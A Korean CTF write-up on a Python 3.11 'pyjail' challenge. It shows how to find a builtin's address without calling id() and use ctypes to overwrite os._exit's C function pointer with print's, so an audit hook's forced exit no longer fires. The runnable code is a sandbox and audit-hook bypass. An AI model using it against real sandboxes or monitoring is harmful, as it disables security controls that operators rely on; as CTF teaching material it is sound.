ctf의 pyjail 문제에서 audit 훅의 exit 함수를 덮어 씌워 종료되지 않게 하기 위해 사용했던 방법 입니다.
파이썬 3.11 기준으로 작성되었습니다.
__call__을 이용하면 빌트인 함수의 주소도 id (cpython 기준으로 주소를 반환) 함수의 호출 없이 가져올 수 있습니다.
id를 이용하면 audit 훅이 호출되어 사용할 수 없었습니다.
// Include/cpython/methodobject.h
typedef struct {
PyObject_HEAD
PyMethodDef *m_ml; /* Description of the C function to call */
PyObject *m_self; /* Passed as 'self' arg to the C func, can be NULL */
PyObject *m_module; /* The __module__ attribute, can be anything */
PyObject *m_weakreflist; /* List of weak references */
vectorcallfunc vectorcall;
} PyCFunctionObject;
얻은 주소는 PyCFunctionObject를 가리킵니다. 파이썬이 호출할 주소는 PyMethodDef에 있습니다.
struct PyMethodDef {
const char *ml_name; /* The name of the built-in function/method */
PyCFunction ml_meth; /* The C function that implements it */
int ml_flags; /* Combination of METH_xxx flags, which mostly
describe the args expected by the C func */
const char *ml_doc; /* The __doc__ attribute, or NULL */
};
ml_meth는 PyCFunction으로 저 시그니처를 가지는 함수의 주소를 가리킵니다.
\
from ctypes import POINTER, c_uint64, cast
def get_func_addr(func):
return int(str(func.__call__).split("at ")[1][:-1], 16)
addr = get_func_addr(os._exit)
assert addr == id(os._exit)
id를 대신 할 get_func_addr를 만들어 func의 주소를 가져올 수 있도록 했습니다.
PyObject_HEAD는 PyObject로 확장되고 _object로 확장됩니다.
// Include/object.h
struct _object {
_PyObject_HEAD_EXTRA
Py_ssize_t ob_refcnt;
PyTypeObject *ob_type;
};
_PyObject_HEAD_EXTRA는 trace가 켜져있을 때만 추가가 되기에 무시를 해도 됩니다.
따라서 ob_refcnt(8b), ob_type(8b) 총 16b를 건너뛰면 m_ml를 얻을 수 있습니다.
ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]
64비트 환경에 참조를 해서 주소를 읽어야 했기에 ctypes c_uint64 pointer로 캐스팅을 해주었습니다.
ptr2 = cast(m_ml, POINTER(c_uint64))
ptr2[1] # ml_meth
이제 저 ml_meth를 다른 값으로 덮어씌우면 함수를 호출했을 때 exit이 되지 않게 할 수 있습니다.
from ctypes import POINTER, c_uint64, cast
import os
def get_func_addr(func):
return int(str(func.__call__).split("at ")[1][:-1], 16)
###
addr = get_func_addr(print)
ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]
ptr2 = cast(m_ml, POINTER(c_uint64))
print_ml_meth = ptr2[1] # ml_meth
###
###
addr = get_func_addr(os._exit)
assert addr == id(os._exit)
ptr = cast(addr, POINTER(c_uint64))
m_ml = ptr[2]
ptr2 = cast(m_ml, POINTER(c_uint64))
ptr2[1] = print_ml_meth
###
os._exit(1234)
os._exit(4567)
os._exit(8901)